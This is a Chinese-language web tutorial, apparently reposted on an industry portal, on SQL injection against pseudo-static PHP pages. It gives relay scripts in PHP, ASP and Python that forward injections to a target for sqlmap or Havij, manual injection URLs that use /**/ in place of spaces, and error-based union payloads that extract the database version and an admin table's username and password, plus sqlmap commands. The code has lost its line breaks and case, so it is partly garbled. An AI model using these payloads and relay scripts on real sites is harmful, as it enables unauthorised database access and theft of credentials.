您好,欢迎访问一九零五行业门户网

PHP针对伪静态注入的解析

这篇文章主要介绍了php针对伪静态的注入,结合实例形式总结分析了php针对伪静态的常见注入情况,并附带asp与python的相关操作代码,对于php程序安全有一定借鉴价值,需要的朋友可以参考下
本文实例讲述了php针对伪静态的注入。分享给大家供大家参考,具体如下:
一:中转注入法
1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html
2.测试步骤:
中转注入的php代码:inject.php
<?phpset_time_limit(0);$id=$_get["id"];$id=str_replace(” “,”%20″,$id);$id=str_replace(“=”,”%3d”,$id);//$url = "http://www.xxx.com/news.php/id/$id.html";$url = "http://www.xxx.com/news.php/id/$id.html";//echo $url;$ch = curl_init();curl_setopt($ch, curlopt_url, "$url");curl_setopt($ch, curlopt_returntransfer, 1);curl_setopt($ch, curlopt_header, 0);$output = curl_exec($ch);curl_close($ch);print_r($output);?>
3.本地环境搭建php,然后访问http://127.0.0.1/inject.php?id=1
通过sqlmap或者havj可以跑注入漏洞。
附录asp中转代码:
<%jmdcwname=request("id")jmstr=jmdcwnamejmstr=urlencoding(jmstr)jmurl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址jmurl=jmurl & jmstr&".html" //拼接urlresponse.write jmurl&jmstr //我这里故意输出url来看'jmref="http://127.0.0.1/6kbbs/bank.asp"jmcok=""jmcok=replace(jmcok,chr(32),"%20") jmstr=urlencoding(jmstr) response.write postdata(jmurl,jmstr,jmcok,jmref) //url,查询字符串,cookie,referer字段function postdata(posturl,poststr,postcok,postref) dim httpset http = server.createobject("msxml2.serverxmlhttp")with http.open "get",posturl,false.send ()postdata = .responsebodyend withset http = nothingpostdata =bytes2bstr(postdata)end functionfunction bytes2bstr(vin) //处理返回的信息dim strreturndim i, thischarcode, nextcharcodestrreturn = ""for i = 1 to lenb(vin)thischarcode = ascb(midb(vin, i, 1))if thischarcode < &h80 thenstrreturn = strreturn & chr(thischarcode)elsenextcharcode = ascb(midb(vin, i + 1, 1))strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))i = i + 1end ifnextbytes2bstr = strreturnend functionfunction urlencoding(vstrin) //发包前对参数的url编码一下strreturn=""dim i'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,'vstrin=replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20'vstrin=replace(vstrin,chr(43),"%2b") 'jmdcw增加转换+字符vstrin=replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的for i=1 to len(vstrin)thischr=mid(vstrin,i,1)if abs(asc(thischr))< &hff thenstrreturn=strreturn & thischrelseinnercode=asc(thischr)if innercode<0 theninnercode=innercode + &h10000end ifhight1=(innercode and &hff00) \&hfflow1=innercode and &hffstrreturn=strreturn & "%" & hex(hight1) & "%" & hex(low1)end ifnexturlencoding=strreturnend function%>
二、手工注入法
1.http://www.xxx.com/play/diablo.html
http://www.xxx.com/down/html/?772.html
2.测试注入:
http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/diablo'.html
http://www.xxx.com/play/diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错
3.看页面是否存在差异,相同则不存在,不同存在注入。
4.联合查询:
http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
手工注入法(二)
http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
注:
伪静态的注入和url的普通get注入不太相同
。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。
三、sqlmap方法
在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”
四、python脚本方法
代码:
from basehttpserver import *import urllib2class myhttphandler(basehttprequesthandler): def do_get(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.proxyhandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.urlerror,e: html=e.read() self.wfile.write(html)server = httpserver(("", 8000), myhttphandler)server.serve_forever()
以上就是本文的全部内容,希望对大家的学习有所帮助,更多相关内容请关注!
相关推荐:
关于php中的静态变量及static静态变量的使用解析
php实现通过url提取根域名
以上就是php针对伪静态注入的解析的详细内容。
其它类似信息

推荐信息